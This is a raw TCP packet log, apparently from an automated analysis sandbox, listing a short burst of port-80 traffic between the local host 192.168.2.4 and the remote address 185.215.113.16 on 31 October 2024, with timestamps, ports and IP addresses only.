Oct 31, 2024 03:03:32.320909977 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.320957899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.320960045 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.320995092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.321028948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.321077108 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.321085930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.321130037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.321141005 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.321166039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.321199894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.321253061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.321257114 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.321299076 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.321310043 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.321343899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.321379900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.321412086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.321429014 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.321449995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.321461916 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.321482897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.321537018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.321590900 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.321655989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.321686029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.321712017 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.321780920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.321815968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.321852922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.321870089 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.321887970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.321911097 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.321940899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.321970940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.322005033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.322019100 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.322052956 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.322057009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.322088003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.322139978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.322174072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.322196007 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.322206974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.322233915 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.322242022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.322294950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.322330952 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.322364092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.322381020 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.322418928 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.322422028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.322454929 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.322477102 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.322490931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.322525978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.322561979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.322572947 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.322590113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.322613001 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.322647095 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.322700024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.322732925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.322751045 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.322767973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.322787046 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.322802067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.322837114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.322866917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.322900057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.322928905 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.322935104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.322988987 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.363470078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.363507986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.363543987 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.363590002 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.363621950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.363656044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.363681078 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.363691092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.363724947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.363760948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.363779068 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.363812923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.363826990 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.390067101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.390101910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.390139103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.390187979 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.390196085 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.390252113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.390268087 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.390302896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.390309095 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.390338898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.390374899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.390428066 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.390455961 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.390479088 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.390491962 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.390510082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.390543938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.390594006 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.390594959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.390645981 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.390647888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.390686035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.390741110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.390810013 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.390811920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.390846014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.390918970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.390922070 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.390949011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.390973091 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.390983105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.391017914 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.391067028 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.391069889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.391127110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.391128063 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.391155958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.391187906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.391238928 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.391239882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.391273975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.391298056 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.391347885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.391383886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.391433954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.391441107 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.391463995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.391486883 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.391498089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.391530991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.391563892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.391582012 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.391598940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.391617060 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.391630888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.391668081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.391700983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.391719103 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.391736031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.391767979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.391774893 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.391802073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.391829014 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.391834974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.391870975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.391885996 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.391906023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.391938925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.391992092 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.431217909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.431256056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.431291103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.431348085 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.431406021 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.433262110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.433291912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.433341980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.433368921 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.433377981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.433413029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.433440924 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.433446884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.433496952 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.439606905 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.439641953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.439676046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.439851046 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.439991951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.440041065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.440049887 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.440076113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.440109968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.440161943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.440165043 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.440196991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.440212965 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.440232992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.440264940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.440315962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.440318108 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.440351009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.440368891 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.440423965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.440453053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.440509081 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.440521955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.440572023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.440572977 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.440622091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.440677881 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.440710068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.440737009 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.440743923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.440772057 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.440779924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.440829992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.440862894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.440887928 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.440912962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.440923929 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.440946102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.440979004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.441011906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.441034079 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.441062927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.441067934 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.441118002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.441168070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.441215992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.441220999 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.441251040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.441265106 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.441279888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.441312075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.441365004 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.441369057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.441418886 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.441421986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.441473007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.441505909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.441551924 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.441555977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.441591024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.441607952 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.441626072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.441674948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.441709042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.441731930 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.441740990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.441767931 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.441773891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.441802025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.441834927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.441858053 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.441869020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.441891909 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.441901922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.441935062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.441967964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.441996098 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.441998959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.442028046 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.442037106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.442070007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.442105055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.442121983 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.442137957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.442154884 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.482609987 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.482645035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.482688904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.482713938 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.482722998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.482758999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.482767105 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.482793093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.482822895 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.482829094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.482862949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.482877970 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.508958101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.509010077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.509027958 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.509044886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.509093046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.509102106 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.509145975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.509179115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.509203911 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.509249926 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.509311914 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.509346008 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.509367943 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.509398937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.509409904 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.509433985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.509464025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.509485006 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.509494066 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.509529114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.509562016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.509586096 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.509594917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.509622097 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.509628057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.509663105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.509673119 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.509776115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.509824991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.509874105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.509887934 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.509923935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.509924889 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.509958029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.509990931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.510024071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.510042906 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.510072947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.510078907 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.510108948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.510143042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.510159016 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.510176897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.510226011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.510265112 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.510274887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.510303974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.510317087 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.510354042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.510400057 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.510407925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.510442019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.510473967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.510508060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.510520935 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.510556936 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.510562897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.510610104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.510647058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.510694027 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.510696888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.510730028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.510746956 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.510761976 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.510795116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.510823011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.510848045 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.510854959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.510888100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.510889053 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.510920048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.510941029 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:32.510952950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:32.511006117 CET	49744	80	192.168.2.4	185.215.113.16
